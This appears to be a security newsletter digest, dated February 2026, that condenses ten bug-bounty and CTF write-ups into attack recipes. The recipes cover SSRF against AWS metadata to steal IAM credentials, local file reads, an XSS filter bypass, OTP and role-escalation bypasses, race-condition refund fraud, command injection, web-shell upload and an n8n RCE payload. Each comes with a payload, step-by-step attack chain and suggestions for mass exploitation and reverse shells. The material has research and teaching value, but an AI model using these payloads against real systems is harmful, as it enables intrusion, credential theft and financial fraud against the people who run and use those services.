ETX Signal-X

Daily Intelligence Digest

Friday, February 20, 2026

10	29
ARTICLES	TECHNIQUES

Article 1

Exploiting SSRF in PDF HTML Injection: Basic and Blind

Source: securitycipher

Date: 21-Jan-2024

URL: https://infosecwriteups.com/exploiting-ssrf-in-pdf-html-injection-basic-and-blind-047fec5317ae

T1 SSRF via PDF HTML Injection (Basic)

💉 Payload

```
<img src="http://localhost/admin">
```

⚔️ Attack Chain

1. Identify PDF generation functionality that accepts HTML input (e.g., user-submitted forms rendered as PDFs).
2. Inject HTML containing an `<img>` tag with a `src` pointing to an internal endpoint (e.g., `http://localhost/admin`).
3. Submit the payload and trigger PDF generation.
4. Observe server-side requests to the internal endpoint, confirming SSRF.

🔍 Discovery

Manual review of PDF generation features that accept HTML input, combined with testing for SSRF by referencing internal endpoints.

🔓 Bypass

If direct SSRF is blocked, attempt variations in HTML tags or encoding (e.g., using `<iframe>`, URL encoding, or alternate protocols).

🔗 Chain With

Can be chained with authentication bypass if the internal endpoint exposes sensitive data or admin functionality. Combine with LFI or RCE if the endpoint is vulnerable.

T2 Blind SSRF via PDF HTML Injection

💉 Payload

```
<img src="http://your-burpcollaborator.com/unique">
```

⚔️ Attack Chain

1. Identify PDF generation functionality that accepts HTML input.
2. Inject HTML containing an `<img>` tag with a `src` pointing to a Burp Collaborator or similar external service.
3. Submit the payload and trigger PDF generation.
4. Monitor the external service for incoming requests from the target server (blind SSRF confirmation).

🔍 Discovery

Testing PDF HTML injection with external endpoints to detect blind SSRF via out-of-band interactions.

🔓 Bypass

If outbound connections are filtered, try alternate domains, subdomains, or protocols (e.g., `https`, `ftp`).

🔗 Chain With

Can be chained with data exfiltration, port scanning, or further SSRF exploitation if the server allows outbound requests to attacker-controlled infrastructure.

T3 SSRF via HTML Injection with Alternate Tags

💉 Payload

```
<iframe src="http://localhost/secret"></iframe>
```

⚔️ Attack Chain

1. Locate PDF generation functionality accepting HTML input.
2. Inject HTML using alternate tags (e.g., `<iframe>`) referencing internal endpoints.
3. Trigger PDF generation and observe server-side requests to internal resources.

🔍 Discovery

Testing with multiple HTML tags (not just `<img>`) to bypass filters and trigger SSRF in PDF rendering engines.

🔓 Bypass

If `<img>` is filtered, use `<iframe>`, `<object>`, or other embeddable tags. Try encoding payloads or using protocol-relative URLs.

🔗 Chain With

Combine with SSRF amplification, internal port scanning, or privilege escalation if the endpoint reveals sensitive information.

T4 SSRF via Protocol Manipulation in PDF HTML Injection

💉 Payload

```
<img src="file:///etc/passwd">
```

⚔️ Attack Chain

1. Identify PDF generation functionality accepting HTML input.
2. Inject HTML referencing local files or alternate protocols (e.g., `file://`).
3. Trigger PDF generation and observe if local files are included in the generated PDF or if server-side requests are made.

🔍 Discovery

Testing protocol manipulation in HTML injection to access local files or trigger SSRF via non-HTTP protocols.

🔓 Bypass

If `http`/`https` are filtered, use `file://`, `ftp://`, or protocol-relative URLs.

🔗 Chain With

Potential for LFI, sensitive file disclosure, or chaining with SSRF to escalate to RCE if file contents are processed or executed.

Article 2

Untitled

Source:

Date:

URL:

T1 Blind SSRF via Debug Ping Endpoint

💉 Payload

```
POST /api/debug/ping
{
 "url": "http://169.254.169.254/latest/meta-data/"
}
```

⚔️ Attack Chain

1. Identify the /api/debug/ping endpoint accepting a `url` parameter.
2. Send a POST request with the `url` parameter set to the EC2 metadata endpoint.
3. Receive EC2 instance metadata in the API response, confirming SSRF.

🔍 Discovery

Recon and fuzzing of debug utility endpoints revealed the `url` parameter was unsanitized and allowed arbitrary HTTP requests.

🔓 Bypass

No explicit bypass described; endpoint was directly vulnerable to internal IP targeting.

🔗 Chain With

Can be chained with AWS metadata extraction for credential access, privilege escalation, and lateral movement within cloud infrastructure.

T2 Extraction of AWS Instance Credentials via SSRF

💉 Payload

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-prod-role
```

⚔️ Attack Chain

1. Use SSRF to access the EC2 metadata endpoint for IAM role enumeration.
2. Query for available IAM roles attached to the instance.
3. Query for credentials of the discovered IAM role (e.g., webapp-prod-role).
4. Obtain temporary AWS Access Key, Secret Key, and Session Token.

🔍 Discovery

After confirming SSRF, researcher targeted AWS metadata endpoints to enumerate and extract IAM credentials.

🔓 Bypass

No bypass required; direct access via SSRF.

🔗 Chain With

Credentials can be used for S3 bucket access, privilege escalation, and potential shell access if further permissions are granted.

Article 3

Reflected XSS Filter Bypass in Search Functionality

Source: securitycipher

Date: 15-Aug-2025

URL: https://kashsecurity.medium.com/reflected-xss-filter-bypass-in-search-functionality-be2d511e7621

T1 Reflected XSS Filter Bypass via Incomplete Tag Closure

💉 Payload

```
<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" /<
```

⚔️ Attack Chain

1. Identify a search functionality parameter (e.g., `text`) that reflects user input in the HTML response.
2. Test standard XSS payloads and observe filtering behavior—specifically, removal of tags enclosed in `< >`.
3. Craft a payload using an `<input>` element with an event handler (`onfocus`) and `autofocus` attribute.
4. Replace the closing `>` with `/ <` to bypass the filter, exploiting the browser's ability to parse incomplete tags.
5. Submit the payload via the vulnerable parameter, e.g., `https://excelerator parts.com/dtna/en/search/?text=%3Cinput+type%3D%22text%22+id%3D%22search-text%22+name%3D%22query%22+value%3D%22%22+onfocus%3D%22alert%281%29%22+autofocus%3D%22%22+%2F%3C`
6. On page load, the input field is rendered, auto-focused, and the JavaScript executes.

🔍 Discovery

Manual testing of search functionality revealed filtering logic that only removed tags if both `<` and `>` were present. Experimentation with incomplete tags led to discovery of filter bypass.

🔓 Bypass

The filter only removed complete HTML tags (`<...>`). By omitting the closing `>` and using `/ <`, the payload evaded sanitization while still being interpreted by the browser.

🔗 Chain With

Replace `alert(1)` with session-stealing or redirect payloads for full account takeover. Combine with open redirect or CSRF for advanced exploitation chains.

Article 4

Improper Authentication in a famous Trading website

Source: securitycipher

Date: 14-Jan-2025

URL: https://medium.com/@anonymousshetty2003/improper-authentication-in-a-famous-trading-website-0ffd27fb665e

T1 Bypassing OTP Authentication via Parameter Manipulation

💉 Payload

```
{"mobile":"9876543210","otp":"123456","isOtpVerified":true}
```

⚔️ Attack Chain

1. Register a new account on the trading website using a mobile number.
2. Intercept the OTP verification request sent to the backend (e.g., using Burp Suite).
3. Modify the request body by setting `isOtpVerified` to `true` and supplying any value for `otp` (even an incorrect one).
4. Forward the modified request to the server.
5. Observe that the server accepts the request and authenticates the user without validating the OTP.

🔍 Discovery

Noticed that the OTP verification endpoint accepted a boolean parameter (`isOtpVerified`) and suspected improper validation. Tested by manipulating the parameter and observing successful authentication.

🔓 Bypass

The backend trusts the `isOtpVerified` flag from the client, allowing authentication regardless of OTP correctness.

🔗 Chain With

Can be chained with account takeover or privilege escalation if other endpoints trust similar client-side parameters.

T2 Direct Access to Account Functionality Without Completing Authentication

💉 Payload

```
GET /user/dashboard HTTP/1.1
Host: tradingwebsite.com
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```

⚔️ Attack Chain

1. Begin registration but do not complete OTP verification.
2. Capture session token issued prior to OTP completion.
3. Use the session token to access authenticated endpoints (e.g., `/user/dashboard`) directly.
4. Observe that the dashboard and other account features are accessible without proper authentication.

🔍 Discovery

Observed that session tokens were issued before OTP verification. Tested access to authenticated endpoints using the token and found no restriction.

🔓 Bypass

Session tokens are granted before authentication is finalized, allowing direct access to protected resources.

🔗 Chain With

Can be used in combination with privilege escalation or sensitive data extraction if the session grants broad access.

T3 Manipulating Authentication Flow via Replay of Registration Requests

💉 Payload

```
POST /register HTTP/1.1
Host: tradingwebsite.com
Content-Type: application/json

{"mobile":"9876543210","otp":"000000","isOtpVerified":true}
```

⚔️ Attack Chain

1. Register a new account and intercept the registration request.
2. Replay the registration request with manipulated parameters (`otp` set to any value, `isOtpVerified` set to `true`).
3. Submit the replayed request multiple times to create multiple accounts or bypass rate limits.
4. Observe that accounts are created or authenticated without proper OTP validation.

🔍 Discovery

Tested replaying registration requests with altered parameters after noticing improper validation logic in the authentication flow.

🔓 Bypass

Server does not enforce OTP uniqueness or rate limiting, allowing replay and mass account creation.

🔗 Chain With

Can facilitate automated account creation, bot attacks, or enumeration if combined with other endpoint weaknesses.

Article 5

Auditing Outline. Firsthand lessons from comparing manual testing and AI security platforms · Doyensec's Blog

Source: threatable

Date:

URL: https://blog.doyensec.com/2026/02/03/outline-audit-q32025.html

T1 Blind SSRF via Outdated Request Filtering Agent

💉 Payload

```
HTTPS request to 127.0.0.1 (e.g., https://127.0.0.1:8080/)
```

⚔️ Attack Chain

1. Identify Outline OSS self-hosted version using request-filtering-agent v1.x.x or earlier.
2. Craft an HTTPS request targeting 127.0.0.1 (localhost) as the destination.
3. Submit the request via any SSRF-vulnerable endpoint.
4. Observe that IP filtering is bypassed for HTTPS, allowing internal network access.

🔍 Discovery

Manual review of dependency versions and request-filtering-agent's filtering logic. Noted discrepancy between HTTP and HTTPS filtering.

🔓 Bypass

HTTPS requests bypass IP filtering; HTTP requests are blocked. Exploit by switching protocol to HTTPS.

🔗 Chain With

Combine with other SSRF or internal service vulnerabilities for privilege escalation or lateral movement.

T2 Path Traversal in Vite Static Copy Plugin (Development Mode)

💉 Payload

```
../ (directory traversal in file paths handled by vite-plugin-static-copy)
```

⚔️ Attack Chain

1. Deploy Outline OSS in development mode with vite-plugin-static-copy enabled.
2. Manipulate file paths in requests or configuration to include directory traversal sequences (e.g., ../).
3. Access files outside the intended static directory due to insufficient path sanitization.

🔍 Discovery

Manual testing of file upload and static copy functionality in dev environment; observed path traversal via plugin bug.

🔓 Bypass

Only affects development mode; production unaffected. Exploit by targeting dev/test instances.

🔗 Chain With

Potential for accessing sensitive config or source files during CI/CD or staging deployments.

T3 CSRF via Sibling Domains

💉 Payload

```
Cross-origin POST from sibling domain (e.g., outline.dev and docs.outline.dev)
```

⚔️ Attack Chain

1. Identify Outline OSS deployment with multiple sibling domains (e.g., outline.dev, docs.outline.dev).
2. Craft a CSRF payload that submits authenticated requests from one sibling domain to another.
3. Exploit lack of CSRF protection across sibling domains to perform unauthorized actions.

🔍 Discovery

Manual review of domain structure and CSRF token validation logic; tested cross-domain requests.

🔓 Bypass

Sibling domains not isolated; exploit by hosting attacker-controlled content on a sibling.

🔗 Chain With

Combine with privilege escalation or admin takeover by chaining with other auth flaws.

T4 Local File Storage CSP Bypass via Content-Disposition and Content-Type

💉 Payload

```
Content-Disposition: attachment
Content-Type: application/javascript
```

⚔️ Attack Chain

1. Upload or serve a JavaScript file via Outline's local file storage engine.
2. Ensure the file is served with Content-Disposition: attachment and Content-Type: application/javascript.
3. Access the file in Chrome/Firefox; browser executes script despite attachment disposition.

🔍 Discovery

Manual testing of file upload/download; observed script execution despite attachment header.

🔓 Bypass

Browsers ignore Content-Disposition: attachment if Content-Type is application/javascript.

🔗 Chain With

Potential for stored XSS if attacker can upload arbitrary JS files.

T5 Content-Type Override Bypass in KoaJS Attachment Handling

💉 Payload

```
ctx.set("Content-Type", contentType);
ctx.attachment(fileName, { type: forceDownload ? "attachment" : FileStorage.getContentDisposition(co
ntentType) });
```

⚔️ Attack Chain

1. Set Content-Type header before calling ctx.attachment in Outline's KoaJS backend.
2. KoaJS's attachment function overrides Content-Type unexpectedly, allowing unsafe types to be served inline.
3. Serve malicious content (e.g., JavaScript) as inline, bypassing intended restrictions.

🔍 Discovery

Code review of KoaJS response handling; observed undocumented behavior in attachment function.

🔓 Bypass

Order of header setting and attachment call allows override; invert to fix.

🔗 Chain With

Combine with CSP bypass or XSS vectors for admin takeover.

T6 Insecure Comparison in VerificationCode

💉 Payload

```
Insecure string comparison logic (e.g., == instead of timing-safe compare)
```

⚔️ Attack Chain

1. Identify verification code comparison logic in Outline OSS.
2. Exploit lack of timing-safe comparison to perform brute-force or timing attacks.
3. Obtain valid verification codes or tokens.

🔍 Discovery

Manual review of authentication and verification code logic; noted insecure comparison implementation.

🔓 Bypass

Timing attacks possible due to non-constant time comparison.

🔗 Chain With

Use to escalate privileges or bypass 2FA/verification steps.

T7 IDOR in events.list API Endpoint

💉 Payload

```
POST /api/events.list
{
  "actorId": "<arbitrary actor id>",
  "documentId": "<arbitrary document id>"
}
```

⚔️ Attack Chain

1. Authenticate as a user in Outline OSS.
2. Send POST request to events.list API with arbitrary actorId or documentId values within the same team.
3. Retrieve event data for actors/documents without proper authorization checks.
4. Access sensitive audit log events (e.g., document titles) for other users.

🔍 Discovery

AI platform analysis and manual review of API authorization logic; noted missing per-event access validation.

🔓 Bypass

Team-level isolation enforced, but no per-actor/document authorization; exploit by manipulating actorId/documentId.

🔗 Chain With

Combine with privilege escalation or information disclosure for targeted attacks.

Article 6

From Guest to Admin: Chaining Pre-Account Takeover with Privilege Escalation

Source: securitycipher

Date: 16-May-2025

URL: https://medium.com/@kroush333/from-guest-to-admin-chaining-pre-account-takeover-with-privilege-escalation-fe970e80cd25

T1 Pre-Account Takeover via Password Reset on Unclaimed Email

💉 Payload

```
Email: victim@target.com
Password Reset Link: https://target.com/reset?token=abcdef
```

⚔️ Attack Chain

1. Identify an unregistered email address (e.g., victim@target.com) that will be used by a legitimate user in the future.
2. Initiate a password reset for this email address on the target application.
3. Receive the password reset link sent to the attacker-controlled email inbox.
4. Use the reset link to set a password and create the account before the legitimate user registers.
5. Wait for the legitimate user to register with the same email, resulting in the attacker controlling the account.

🔍 Discovery

Analyzed registration and password reset flows for discrepancies in email validation and account creation logic. Noticed that password reset links could be generated for emails not yet registered.

🔓 Bypass

By exploiting the lack of verification for whether an email is already registered, the attacker can preemptively claim accounts.

🔗 Chain With

Can be chained with privilege escalation or post-registration attacks if the application allows further role modification or sensitive actions.

T2 Privilege Escalation via Role Assignment Endpoint

💉 Payload

```
POST /api/assign-role
{
  "user_id": "12345",
  "role": "admin"
}
```

⚔️ Attack Chain

1. After gaining access to a user account (via pre-account takeover or other means), identify the role assignment endpoint (e.g., /api/assign-role).
2. Craft a POST request assigning the "admin" role to the compromised user account.
3. Submit the request and verify that the account privileges are escalated to admin.

🔍 Discovery

Reviewed API endpoints and noticed that role assignment was not restricted to admin users. Tested role modification with a compromised account.

🔓 Bypass

Role assignment endpoint lacks proper authorization checks, allowing any authenticated user to escalate their privileges.

🔗 Chain With

Can be chained with pre-account takeover to escalate a newly created account directly to admin, resulting in full compromise.

T3 Chaining Pre-Account Takeover with Privilege Escalation for Full Account Compromise

💉 Payload

```
Email: victim@target.com
Password Reset Link: https://target.com/reset?token=abcdef
POST /api/assign-role
{
  "user_id": "12345",
  "role": "admin"
}
```

⚔️ Attack Chain

1. Execute pre-account takeover by registering or resetting the password for an unclaimed email (victim@target.com).
2. Gain access to the account before the legitimate user registers.
3. Use the privilege escalation endpoint to assign the "admin" role to the compromised account.
4. Maintain persistent admin access even after the legitimate user starts using the account.

🔍 Discovery

Combined findings from registration/password reset logic and role assignment API. Tested chaining both vulnerabilities for maximum impact.

🔓 Bypass

Both vulnerabilities lack proper checks (registration verification and role assignment authorization), enabling seamless chaining.

🔗 Chain With

This chain can be extended with post-account takeover actions (e.g., accessing sensitive data, modifying settings, lateral movement across tenant accounts).

Article 7

CTF Day(23)

Source: securitycipher

Date: 03-Jul-2025

URL: https://medium.com/@ahmednarmer1/ctf-day-23-595078e28d0f

T1 Command Injection via User-Agent Header

💉 Payload

```
User-Agent: ;ls
```

⚔️ Attack Chain

1. Identify a web application endpoint that logs or processes the User-Agent header (e.g., /login).
2. Send a request with the User-Agent header set to a command injection payload (`;ls`).
3. Observe the application's response or log output for evidence of command execution (e.g., directory listing).

🔍 Discovery

The researcher noticed that the application logs the User-Agent header and suspected that it might be used in a shell command without proper sanitization. Testing with shell metacharacters (`;ls`) confirmed command injection.

🔓 Bypass

No input validation or sanitization on the User-Agent header allowed direct injection of shell commands.

🔗 Chain With

Can be chained with privilege escalation if the injected command allows access to sensitive files or environment variables. Potential for lateral movement if combined with file upload or path traversal vulnerabilities.

T2 File Upload Bypass via Double Extension

💉 Payload

```
file.php.jpg
```

⚔️ Attack Chain

1. Locate a file upload endpoint that restricts file types based on extension (e.g., /upload).
2. Attempt to upload a PHP web shell with a double extension (`file.php.jpg`).
3. Access the uploaded file via the web server and verify code execution (e.g., http://target.com/uploads/file.php.jpg).

🔍 Discovery

The researcher tested file upload restrictions by submitting files with multiple extensions. The application only checked the last extension, allowing PHP code to be executed when accessed.

🔓 Bypass

The file validation logic only inspected the last extension, failing to block files with embedded executable extensions.

🔗 Chain With

Can be chained with directory traversal or weak file permissions to escalate impact. Useful for post-exploitation persistence.

T3 Path Traversal via File Download Endpoint

💉 Payload

```
../../../../etc/passwd
```

⚔️ Attack Chain

1. Identify a file download endpoint (e.g., /download?file=).
2. Submit a request with the `file` parameter set to a path traversal payload (`../../../../etc/passwd`).
3. Receive the contents of the targeted file (e.g., /etc/passwd) in the response.

🔍 Discovery

The researcher suspected improper path sanitization in the download endpoint and tested traversal sequences. The application returned sensitive files, confirming the vulnerability.

🔓 Bypass

No normalization or filtering of path traversal sequences allowed access to arbitrary files.

🔗 Chain With

Can be chained with file upload or command injection to gain further access or exfiltrate sensitive data.

Article 8

Race condition leading to multiple refunds and cash re

Source: securitycipher

Date: 11-Jan-2026

URL: https://medium.com/@habibhassan293/race-condition-leading-to-multiple-refunds-and-cash-re-bdcf890cafca

T1 Exploiting Race Condition for Multiple Refunds

💉 Payload

```
Send multiple refund requests simultaneously for the same transaction ID:
POST /api/refund
{
  "transaction_id": "123456",
  "amount": "100"
}
```

⚔️ Attack Chain

1. Identify the refund endpoint (e.g., /api/refund) and the required parameters (transaction_id, amount).
2. Complete a legitimate transaction to obtain a valid transaction_id.
3. Prepare multiple identical refund requests using the same transaction_id and amount.
4. Use a tool (e.g., Burp Intruder, Turbo Intruder, or custom scripts) to send these refund requests in parallel (high concurrency).
5. Observe that multiple refunds are processed for the same transaction, resulting in duplicate payouts.

🔍 Discovery

Manual review of refund logic revealed lack of transaction state locking. Testing simultaneous refund requests exposed the race condition.

🔓 Bypass

The backend failed to atomically update the refund state, allowing multiple requests to be processed before the transaction status was changed to "refunded".

🔗 Chain With

Can be chained with account takeover or privilege escalation to trigger refunds across multiple accounts, or combined with payment method manipulation for laundering.

T2 Cash Re-credit via Race Condition

💉 Payload

```
Send multiple cash re-credit requests simultaneously for the same transaction:
POST /api/cash-recredit
{
  "transaction_id": "123456",
  "amount": "100"
}
```

⚔️ Attack Chain

1. Identify the cash re-credit endpoint (e.g., /api/cash-recredit) and required parameters.
2. Complete a transaction that qualifies for cash re-credit.
3. Prepare multiple identical cash re-credit requests using the same transaction_id and amount.
4. Use high concurrency (parallel requests) to send these requests.
5. Observe that the account balance is credited multiple times for the same transaction.

🔍 Discovery

Analysis of transaction flow and endpoint behavior indicated lack of proper locking on cash re-credit logic. Simultaneous requests confirmed the vulnerability.

🔓 Bypass

Absence of atomic checks allowed multiple credits before transaction status was updated, bypassing intended single-credit logic.

🔗 Chain With

Can be combined with account enumeration or automated scripts to mass-credit accounts, or with business logic flaws for larger financial impact.

Article 9

“Why IDORs Are Everywhere — And How to Find Them”

Source: securitycipher

Date: 15-Jun-2025

URL: https://hettt.medium.com/why-idors-are-everywhere-and-how-to-find-them-3ba45128e0f3

T1 Invoice IDOR via Predictable Numeric Identifier

💉 Payload

```
https://redacted-shop.in/myaccount/invoice/print/16?type=print
```

⚔️ Attack Chain

1. Log in to your own account on the e-commerce platform.
2. Navigate to the invoice section; observe the invoice URL contains a numeric identifier (e.g., /print/16).
3. Increment or decrement the numeric ID in the URL (e.g., /print/17, /print/18, /print/19).
4. Access invoices belonging to other customers, exposing sensitive information.

🔍 Discovery

Noticed a sequential invoice ID in the URL after a purchase. Tested by changing the ID to adjacent numbers and confirmed access to other users' invoices.

🔓 Bypass

No authentication bypass required; only a valid session is needed. Access control checks are missing, allowing horizontal enumeration.

🔗 Chain With

Combine with session fixation or privilege escalation for broader account compromise. Use exposed invoice data for targeted phishing or social engineering. Leverage predictable ID pattern for automated scraping of all invoices.

Article 10

Understanding CVE-2025–68613: A Critical Remote Code Execution Vulnerability in n8n Workflow...

Source: securitycipher

Date: 24-Dec-2025

URL: https://medium.com/@mahdi.eidi7/understanding-cve-2025-68613-a-critical-remote-code-execution-vulnerability-in-n8n-workflow-99cfdf1f89a8

T1 Expression Injection RCE via Workflow Set Node in n8n

💉 Payload

```
{{this.process.mainModule.require('child_process').execSync('id').toString()}}
```

⚔️ Attack Chain

1. Obtain valid credentials for the target n8n instance (UI or API access; no elevated privileges required).
2. Log in to the n8n web interface.
3. Create a new workflow (Add workflow/Create new workflow).
4. Add a Manual Trigger node to the canvas.
5. Add a Set node to the canvas and connect Manual Trigger → Set.
6. Open Set node settings, Add Value → String, set any field name (e.g., result).
7. Enable expression mode by clicking the '=' icon next to the value field.
8. Paste the payload above as the value.
9. Execute the workflow (Execute Workflow/Test step).
10. Observe the Set node output for the result of the system command (e.g., uid/gid info).

🔍 Discovery

Analysis of n8n's workflow expression evaluation mechanism revealed that expressions (syntax: `={{expression}}`) were executed in an unsandboxed environment, exposing Node.js globals. Researcher tested by injecting Node.js code referencing `process` and `child_process` in Set node expressions, confirming code execution.

🔓 Bypass

No privilege escalation required; any authenticated user able to create/edit workflows can exploit. The evaluator does not restrict access to Node.js internals, so payloads can reference `process`, `mainModule`, and require arbitrary modules.

🔗 Chain With

Combine with lateral movement: Use RCE to access credentials/config files, pivot to connected databases/APIs. Use for persistence: Deploy reverse shell payloads in workflow expressions. Data exfiltration: Chain with workflow automation to trigger data leaks or modify records.

T2 Version Disclosure via /rest/settings Endpoint for Targeting Vulnerable n8n Instances

💉 Payload

```
GET /rest/settings
```

⚔️ Attack Chain

1. Identify a publicly exposed n8n instance (via search engines like Censys).
2. Send a GET request to `/rest/settings` endpoint.
3. Parse the JSON response for the `versionCli` field.
4. Determine if the instance is running a vulnerable version (0.211.0–1.120.3, 1.121.0).
5. Use this information to target RCE exploit if version is vulnerable.

🔍 Discovery

Researcher noted that n8n exposes its version via the `/rest/settings` endpoint. By querying this endpoint, attackers can fingerprint instances and selectively target those running vulnerable versions.

🔓 Bypass

No authentication required for version disclosure if endpoint is exposed. Attackers can automate scanning for vulnerable instances globally.

🔗 Chain With

Use for mass exploitation: Combine with expression injection RCE to automate attacks against thousands of exposed n8n instances. Combine with reconnaissance: Use version info to tailor payloads or identify patch status.

T3 Version Disclosure via Meta Tag Extraction from Sign-in Page

💉 Payload

```
<meta name="n8n:config:sentry" content="...">
```

⚔️ Attack Chain

1. Access the n8n sign-in page.
2. Extract meta tags from the HTML source (specifically `n8n:config:sentry`).
3. Decode the content value to extract version information.
4. Determine if the instance is running a vulnerable version.
5. Target the instance with RCE exploit if applicable.

🔍 Discovery

Researcher observed that n8n sign-in pages include meta tags containing configuration and version info. Automated tools can parse these tags for fingerprinting.

🔓 Bypass

No authentication required; meta tags are publicly accessible. Useful for stealthy reconnaissance.

🔗 Chain With

Combine with mass scanning: Use meta tag extraction to identify vulnerable targets for subsequent RCE payloads. Use with Nuclei templates for automated detection and exploitation.